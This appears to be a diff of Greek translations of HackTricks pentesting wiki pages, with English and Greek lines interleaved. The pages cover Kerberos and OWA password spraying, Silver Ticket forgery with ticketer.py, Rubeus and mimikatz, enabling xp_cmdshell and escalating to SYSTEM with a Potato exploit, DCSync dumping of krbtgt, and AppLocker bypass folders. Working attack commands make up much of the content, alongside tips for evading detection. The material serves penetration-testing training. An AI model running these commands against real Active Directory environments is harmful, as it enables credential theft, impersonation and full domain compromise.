Kerberos pre-auth–based spraying μειώνει τον θόρυβο σε σχέση με τις προσπάθειες bind SMB/NTLM/LDAP και συμμορφώνεται καλύτερα με τις πολιτικές lockout του AD. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και ευαισθητοποίηση πολιτικών (domain policy + PSOs + badPwdCount buffer) για να πραγματοποιεί spray με ακρίβεια και ασφάλεια. Μπορεί επίσης να επισημάνει παραβιασμένους principals στο Neo4j για pathing του BloodHound.
|
||||||
|
|
||||||
Key ideas:
|
Key ideas:
|
||||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||||
@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
# LDAPS (TCP/636)
|
# LDAPS (TCP/636)
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||||
```
|
```
|
||||||
Στόχευση και έλεγχος μοτίβων:
|
Στόχευση και έλεγχος προτύπων:
|
||||||
```bash
|
```bash
|
||||||
# Custom LDAP filter (e.g., target specific OU/attributes)
|
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||||
@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||||
```
|
```
|
||||||
Έλεγχοι απόκρυψης και ασφάλειας:
|
Stealth και έλεγχοι ασφάλειας:
|
||||||
```bash
|
```bash
|
||||||
# Control concurrency, add jitter, and cap request rate
|
# Control concurrency, add jitter, and cap request rate
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||||
@ -176,27 +176,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
```
|
```
|
||||||
Available variables include:
|
Available variables include:
|
||||||
- {name}, {samaccountname}
|
- {name}, {samaccountname}
|
||||||
- Χρονικά από το pwdLastSet κάθε χρήστη (ή whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||||
- Βοηθήματα σύνθεσης και org token: {separator}, {suffix}, {extra}
|
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
Operational notes:
|
Operational notes:
|
||||||
- Προτιμήστε να κάνετε query τον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με policy.
|
- Προτιμήστε το query στον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με πολιτικές.
|
||||||
- Οι resets του badPwdCount ενεργοποιούνται στην επόμενη προσπάθεια μετά το observation window· χρησιμοποιήστε threshold και timing για να παραμείνετε ασφαλείς.
|
- Οι επαναφορές του badPwdCount ενεργοποιούνται στην επόμενη προσπάθεια μετά το παράθυρο παρατήρησης· χρησιμοποιήστε όριο και χρονισμό για να παραμείνετε ασφαλείς.
|
||||||
- Οι Kerberos pre-auth προσπάθειες εμφανίζονται ως 4768/4771 στη DC telemetry· χρησιμοποιήστε jitter και rate-limiting για να μη ξεχωρίζετε.
|
- Οι προσπάθειες pre-auth του Kerberos εμφανίζονται ως 4768/4771 στην DC telemetry· χρησιμοποιήστε jitter και rate-limiting για να περάσετε απαρατήρητοι.
|
||||||
|
|
||||||
> Συμβουλή: Το default LDAP page size του SpearSpray είναι 200· προσαρμόστε με -lps αν χρειαστεί.
|
> Tip: Το προεπιλεγμένο LDAP page size του SpearSpray είναι 200· προσαρμόστε με -lps αν χρειάζεται.
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
Υπάρχουν πολλά εργαλεία για password spraying στο Outlook.
|
Υπάρχουν πολλαπλά εργαλεία για p**assword spraying outlook**.
|
||||||
|
|
||||||
- Με [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
- Με [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||||
- Με [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
- με [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||||
- Με [Ruler](https://github.com/sensepost/ruler) (αξιόπιστο!)
|
- Με [Ruler](https://github.com/sensepost/ruler) (αξιόπιστο!)
|
||||||
- Με [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
- Με [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||||
- Με [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
- Με [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||||
|
|
||||||
Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και ένα password / μια μικρή λίστα passwords για να κάνετε password spraying.
|
Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και έναν κωδικό / μια μικρή λίστα κωδικών για να κάνετε spray.
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
|
@ -6,13 +6,13 @@
|
|||||||
|
|
||||||
## Silver ticket
|
## Silver ticket
|
||||||
|
|
||||||
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
|
Η επίθεση Silver Ticket περιλαμβάνει την εκμετάλλευση των service tickets σε περιβάλλοντα Active Directory (AD). Αυτή η μέθοδος βασίζεται στην απόκτηση του NTLM hash ενός service account, όπως ενός computer account, για να πλαστογραφηθεί ένα Ticket Granting Service (TGS) ticket. Με αυτό το παραποιημένο ticket, ένας attacker μπορεί να αποκτήσει πρόσβαση σε συγκεκριμένες υπηρεσίες στο δίκτυο, υποδυόμενος οποιονδήποτε χρήστη, συνήθως στοχεύοντας σε δικαιώματα διαχειριστή. Επισημαίνεται ότι η χρήση AES keys για την παραποίηση tickets είναι πιο ασφαλής και λιγότερο εντοπίσιμη.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
|
> Silver Tickets είναι λιγότερο εντοπίσιμα από Golden Tickets επειδή απαιτούν μόνο το **hash του service account**, όχι το krbtgt account. Ωστόσο, είναι περιορισμένα στην συγκεκριμένη υπηρεσία που στοχεύουν. Επιπλέον, αρκεί η κλοπή του password ενός χρήστη.
|
||||||
Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
|
> Επιπλέον, αν συμβιβάσετε το **account's password with a SPN** μπορείτε να χρησιμοποιήσετε αυτό το password για να δημιουργήσετε ένα Silver Ticket που θα υποδύεται οποιονδήποτε χρήστη για εκείνη την υπηρεσία.
|
||||||
|
|
||||||
Για τη δημιουργία των tickets, χρησιμοποιούνται διαφορετικά εργαλεία ανάλογα με το λειτουργικό σύστημα:
|
For ticket crafting, different tools are employed based on the operating system:
|
||||||
|
|
||||||
### Σε Linux
|
### Σε Linux
|
||||||
```bash
|
```bash
|
||||||
@ -20,7 +20,7 @@ python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn
|
|||||||
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
|
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
|
||||||
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
|
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
|
||||||
```
|
```
|
||||||
### Στα Windows
|
### Σε Windows
|
||||||
```bash
|
```bash
|
||||||
# Using Rubeus
|
# Using Rubeus
|
||||||
## /ldap option is used to get domain data automatically
|
## /ldap option is used to get domain data automatically
|
||||||
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
|||||||
# Obtain a shell
|
# Obtain a shell
|
||||||
.\PsExec.exe -accepteula \\<TARGET> cmd
|
.\PsExec.exe -accepteula \\<TARGET> cmd
|
||||||
```
|
```
|
||||||
Η υπηρεσία CIFS επισημαίνεται ως κοινός στόχος για πρόσβαση στο σύστημα αρχείων του θύματος, αλλά άλλες υπηρεσίες όπως HOST και RPCSS μπορούν επίσης να εκμεταλλευτούνται για εργασίες και ερωτήματα WMI.
|
Η υπηρεσία CIFS επισημαίνεται ως συνηθισμένος στόχος για πρόσβαση στο σύστημα αρχείων του θύματος, αλλά άλλες υπηρεσίες όπως HOST και RPCSS μπορούν επίσης να εκμεταλλευτούν για εργασίες και ερωτήματα WMI.
|
||||||
|
|
||||||
### Παράδειγμα: MSSQL υπηρεσία (MSSQLSvc) + Potato σε SYSTEM
|
### Παράδειγμα: MSSQL υπηρεσία (MSSQLSvc) + Potato to SYSTEM
|
||||||
|
|
||||||
Εάν έχετε το NTLM hash (ή το AES key) ενός λογαριασμού υπηρεσίας SQL (π.χ. sqlsvc), μπορείτε να πλαστογραφήσετε ένα TGS για το MSSQL SPN και να προσωμοιώσετε οποιονδήποτε χρήστη στην υπηρεσία SQL. Από εκεί, ενεργοποιήστε το xp_cmdshell για να εκτελέσετε εντολές ως ο λογαριασμός υπηρεσίας SQL. Εάν αυτό το token έχει SeImpersonatePrivilege, αλυσοδέστε ένα Potato για να αναβαθμίσετε σε SYSTEM.
|
Εάν έχετε το NTLM hash (ή το AES key) ενός SQL service account (π.χ., sqlsvc), μπορείτε να forge ένα TGS για το MSSQL SPN και να impersonate οποιονδήποτε χρήστη προς την SQL service. Από εκεί, ενεργοποιήστε το xp_cmdshell για να εκτελέσετε εντολές ως ο SQL service account. Εάν αυτό το token έχει SeImpersonatePrivilege, chain ένα Potato για να elevate σε SYSTEM.
|
||||||
```bash
|
```bash
|
||||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||||
@ -52,14 +52,14 @@ export KRB5CCNAME=$PWD/administrator.ccache
|
|||||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||||
```
|
```
|
||||||
- Εάν το προκύπτον πλαίσιο έχει SeImpersonatePrivilege (συχνά αληθές για service accounts), χρησιμοποίησε μια παραλλαγή Potato για να αποκτήσεις SYSTEM:
|
- Εάν το προκύπτον πλαίσιο έχει SeImpersonatePrivilege (συνήθως ισχύει για τους λογαριασμούς υπηρεσίας), χρησιμοποιήστε μια παραλλαγή Potato για να αποκτήσετε SYSTEM:
|
||||||
```bash
|
```bash
|
||||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||||
PrintSpoofer.exe -c "cmd /c whoami"
|
PrintSpoofer.exe -c "cmd /c whoami"
|
||||||
# or
|
# or
|
||||||
GodPotato -cmd "cmd /c whoami"
|
GodPotato -cmd "cmd /c whoami"
|
||||||
```
|
```
|
||||||
Περισσότερες λεπτομέρειες για την κατάχρηση του MSSQL και την ενεργοποίηση του xp_cmdshell:
|
Περισσότερες λεπτομέρειες για την εκμετάλλευση του MSSQL και την ενεργοποίηση του xp_cmdshell:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
abusing-ad-mssql.md
|
abusing-ad-mssql.md
|
||||||
@ -73,44 +73,45 @@ abusing-ad-mssql.md
|
|||||||
|
|
||||||
## Διαθέσιμες Υπηρεσίες
|
## Διαθέσιμες Υπηρεσίες
|
||||||
|
|
||||||
| Τύπος Υπηρεσίας | Υπηρεσία Silver Tickets |
|
| Τύπος Υπηρεσίας | Silver Tickets Υπηρεσίας |
|
||||||
| ---------------------------------------- | -------------------------------------------------------------------------- |
|
| ---------------------------------------- | ------------------------------------------------------------------------- |
|
||||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
|
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Ανάλογα με το λειτουργικό σύστημα επίσης:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||||
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
|
| WinRM | <p>HOST</p><p>HTTP</p><p>Σε ορισμένες περιπτώσεις μπορείτε απλά να ζητήσετε: WINRM</p> |
|
||||||
| Scheduled Tasks | HOST |
|
| Scheduled Tasks | HOST |
|
||||||
| Windows File Share, also psexec | CIFS |
|
| Windows File Share, also psexec | CIFS |
|
||||||
| LDAP operations, included DCSync | LDAP |
|
| LDAP operations, included DCSync | LDAP |
|
||||||
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||||
| Golden Tickets | krbtgt |
|
| Golden Tickets | krbtgt |
|
||||||
|
|
||||||
Χρησιμοποιώντας **Rubeus** μπορείτε να ζητήσετε όλα αυτά τα tickets χρησιμοποιώντας την παράμετρο:
|
Using **Rubeus** you may **ask for all** these tickets using the parameter:
|
||||||
|
|
||||||
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||||
|
|
||||||
### Event IDs για Silver tickets
|
### Silver tickets Event IDs
|
||||||
|
|
||||||
- 4624: Account Logon
|
- 4624: Σύνδεση λογαριασμού
|
||||||
- 4634: Account Logoff
|
- 4634: Αποσύνδεση λογαριασμού
|
||||||
- 4672: Admin Logon
|
- 4672: Σύνδεση διαχειριστή
|
||||||
|
|
||||||
## Διατήρηση πρόσβασης
|
## Επιμονή
|
||||||
|
|
||||||
Για να αποφύγετε τα μηχανήματα από το να αλλάζουν τον κωδικό τους κάθε 30 ημέρες ορίστε `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ή μπορείτε να ορίσετε `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` σε μια τιμή μεγαλύτερη από 30 ημέρες για να υποδείξετε την περίοδο περιστροφής στην οποία πρέπει να περιστραφεί ο κωδικός του μηχανήματος.
|
To avoid machines from rotating their password every 30 days set `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` or you could set `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` to a bigger value than 30days to indicate the rotation perdiod when the machines password should be rotated.
|
||||||
|
|
||||||
## Κατάχρηση Service tickets
|
## Εκμετάλλευση Service tickets
|
||||||
|
|
||||||
Στα ακόλουθα παραδείγματα ας υποθέσουμε ότι το ticket αποκτήθηκε προσωποποιώντας τον λογαριασμό διαχειριστή.
|
Στα παρακάτω παραδείγματα ας υποθέσουμε ότι το ticket αποκτήθηκε μιμούμενο τον λογαριασμό διαχειριστή.
|
||||||
|
|
||||||
### CIFS
|
### CIFS
|
||||||
|
|
||||||
Με αυτό το ticket θα μπορέσετε να αποκτήσετε πρόσβαση στους φακέλους `C$` και `ADMIN$` μέσω **SMB** (εφόσον είναι εκτεθειμένοι) και να αντιγράψετε αρχεία σε μέρος του απομακρυσμένου filesystem απλώς κάνοντας κάτι σαν:
|
With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
|
||||||
```bash
|
```bash
|
||||||
dir \\vulnerable.computer\C$
|
dir \\vulnerable.computer\C$
|
||||||
dir \\vulnerable.computer\ADMIN$
|
dir \\vulnerable.computer\ADMIN$
|
||||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||||
```
|
```
|
||||||
Θα μπορείτε επίσης να αποκτήσετε shell στον host ή να εκτελέσετε αυθαίρετες εντολές χρησιμοποιώντας **psexec**:
|
Θα μπορείτε επίσης να αποκτήσετε ένα shell μέσα στον host ή να εκτελέσετε αυθαίρετες εντολές χρησιμοποιώντας **psexec**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../lateral-movement/psexec-and-winexec.md
|
../lateral-movement/psexec-and-winexec.md
|
||||||
@ -118,7 +119,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
|||||||
|
|
||||||
### HOST
|
### HOST
|
||||||
|
|
||||||
Με αυτήν την άδεια μπορείτε να δημιουργήσετε scheduled tasks σε απομακρυσμένους υπολογιστές και να εκτελέσετε αυθαίρετες εντολές:
|
Με αυτή την άδεια μπορείτε να δημιουργήσετε scheduled tasks σε απομακρυσμένους υπολογιστές και να εκτελέσετε αυθαίρετες εντολές:
|
||||||
```bash
|
```bash
|
||||||
#Check you have permissions to use schtasks over a remote server
|
#Check you have permissions to use schtasks over a remote server
|
||||||
schtasks /S some.vuln.pc
|
schtasks /S some.vuln.pc
|
||||||
@ -151,11 +152,11 @@ wmic remote.computer.local list full /format:list
|
|||||||
|
|
||||||
### HOST + WSMAN (WINRM)
|
### HOST + WSMAN (WINRM)
|
||||||
|
|
||||||
Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση σε αυτόν** και ακόμη να αποκτήσετε ένα PowerShell:
|
Με πρόσβαση σε winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση σε αυτόν** και ακόμη να αποκτήσετε PowerShell:
|
||||||
```bash
|
```bash
|
||||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||||
```
|
```
|
||||||
Ελέγξτε την παρακάτω σελίδα για να μάθετε **περισσότερους τρόπους σύνδεσης με έναν απομακρυσμένο host χρησιμοποιώντας winrm**:
|
Check the following page to learn **more ways to connect with a remote host using winrm**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -163,11 +164,11 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Σημειώστε ότι **το winrm πρέπει να είναι ενεργό και να ακούει** στον απομακρυσμένο υπολογιστή για να έχετε πρόσβαση.
|
> Σημειώστε ότι **το winrm πρέπει να είναι ενεργό και να ακούει** στον απομακρυσμένο υπολογιστή για να είναι προσβάσιμο.
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
Με αυτό το προνόμιο μπορείτε να κάνετε dump στη βάση δεδομένων του DC χρησιμοποιώντας **DCSync**:
|
Με αυτό το προνόμιο μπορείτε να dump τη βάση δεδομένων του DC χρησιμοποιώντας το **DCSync**:
|
||||||
```
|
```
|
||||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||||||
```
|
```
|
||||||
|
@ -1,17 +1,17 @@
|
|||||||
# Έλεγχοι Ασφαλείας Windows
|
# Έλεγχοι Ασφάλειας Windows
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Πολιτική AppLocker
|
## Πολιτική AppLocker
|
||||||
|
|
||||||
Μια λίστα επιτρεπόμενων εφαρμογών (application whitelist) είναι μια λίστα εγκεκριμένων εφαρμογών ή εκτελέσιμων αρχείων που επιτρέπεται να βρίσκονται και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευτεί το περιβάλλον από κακόβουλο λογισμικό (malware) και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού.
|
Μια λίστα επιτρεπόμενων εφαρμογών (application whitelist) είναι μια λίστα εγκεκριμένων εφαρμογών λογισμικού ή εκτελέσιμων αρχείων που επιτρέπεται να υπάρχουν και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατεύσει το περιβάλλον από επιβλαβές malware και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρησιακές ανάγκες ενός οργανισμού.
|
||||||
|
|
||||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η λύση της Microsoft για application whitelisting και δίνει στους διαχειριστές συστήματος έλεγχο σχετικά με **ποια εφαρμογές και αρχεία μπορούν να εκτελέσουν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε executables, scripts, Windows installer files, DLLs, packaged apps, και packed app installers.\
|
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η **λύση εφαρμογής λευκής λίστας** της Microsoft και δίνει στους διαχειριστές συστήματος έλεγχο πάνω στο **ποιες εφαρμογές και αρχεία μπορούν να εκτελούν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** σε εκτελέσιμα αρχεία, scripts, Windows installer files, DLLs, packaged apps και packed app installers.\
|
||||||
Είναι σύνηθες οι οργανισμοί να **block cmd.exe and PowerShell.exe** και να περιορίζουν το write access σε ορισμένους καταλόγους, **but this can all be bypassed**.
|
Είναι συνηθισμένο οι οργανισμοί να **μπλοκάρουν cmd.exe και PowerShell.exe** και την εγγραφή (write access) σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**.
|
||||||
|
|
||||||
### Έλεγχος
|
### Έλεγχος
|
||||||
|
|
||||||
Ελέγξτε ποια αρχεία/επεκτάσεις είναι blacklisted/whitelisted:
|
Ελέγξτε ποια αρχεία/επεκτάσεις είναι στη μαύρη/λευκή λίστα:
|
||||||
```bash
|
```bash
|
||||||
Get-ApplockerPolicy -Effective -xml
|
Get-ApplockerPolicy -Effective -xml
|
||||||
|
|
||||||
@ -20,48 +20,48 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
|||||||
$a = Get-ApplockerPolicy -effective
|
$a = Get-ApplockerPolicy -effective
|
||||||
$a.rulecollections
|
$a.rulecollections
|
||||||
```
|
```
|
||||||
Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο να εξετάσετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα:
|
Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο να ελέγξετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα:
|
||||||
|
|
||||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||||
|
|
||||||
### Bypass
|
### Bypass
|
||||||
|
|
||||||
- Χρήσιμα **Writable folders** για να παρακάμψετε την AppLocker Policy: Εάν το AppLocker επιτρέπει την εκτέλεση οτιδήποτε μέσα στο `C:\Windows\System32` ή στο `C:\Windows`, υπάρχουν **writable folders** που μπορείτε να χρησιμοποιήσετε για να **παρακάμψετε αυτό**.
|
- Χρήσιμα **Writable folders** για να bypass την AppLocker Policy: Αν το AppLocker επιτρέπει την εκτέλεση οτιδήποτε μέσα σε `C:\Windows\System32` ή `C:\Windows` υπάρχουν **writable folders** που μπορείτε να χρησιμοποιήσετε για να **bypass this**.
|
||||||
```
|
```
|
||||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||||
C:\Windows\System32\spool\drivers\color
|
C:\Windows\System32\spool\drivers\color
|
||||||
C:\Windows\Tasks
|
C:\Windows\Tasks
|
||||||
C:\windows\tracing
|
C:\windows\tracing
|
||||||
```
|
```
|
||||||
- Συνήθως **αξιόπιστα** [**"LOLBAS's"**] binaries μπορούν επίσης να βοηθήσουν στην παράκαμψη του AppLocker.
|
- Συνήθως **εμπιστευόμενα** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries μπορούν επίσης να είναι χρήσιμα για να παρακάμψουν το AppLocker.
|
||||||
- **Κακώς γραμμένοι κανόνες μπορούν επίσης να παρακαμφθούν**
|
- Οι **ελλιπώς γραμμένοι κανόνες μπορούν επίσης να παρακαμφθούν**
|
||||||
- Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε έναν **φάκελο ονόματι `allowed`** οπουδήποτε και θα επιτρέπεται.
|
- Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε ένα **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτραπεί.
|
||||||
- Οι οργανισμοί συχνά επικεντρώνονται στο **μπλοκάρισμα του εκτελέσιμου `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, αλλά ξεχνούν τις **άλλες** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή `PowerShell_ISE.exe`.
|
- Οι οργανισμοί συχνά επικεντρώνονται στο **μπλοκάρισμα του `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, αλλά ξεχνούν τις **άλλες** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή `PowerShell_ISE.exe`.
|
||||||
- Η επιβολή DLL σπανίως ενεργοποιείται λόγω του πρόσθετου φόρτου που μπορεί να επιβάλει σε ένα σύστημα και του όγκου των δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι η χρήση **DLLs ως backdoors θα βοηθήσει στην παράκαμψη του AppLocker**.
|
- Το **DLL enforcement σπάνια ενεργοποιείται** λόγω του πρόσθετου φορτίου που μπορεί να επιφέρει σε ένα σύστημα και του όγκου δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Επομένως η χρήση **DLLs ως backdoors θα βοηθήσει στην παράκαμψη του AppLocker**.
|
||||||
- Μπορείτε να χρησιμοποιήσετε τους [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε Powershell** κώδικα σε οποιαδήποτε διεργασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
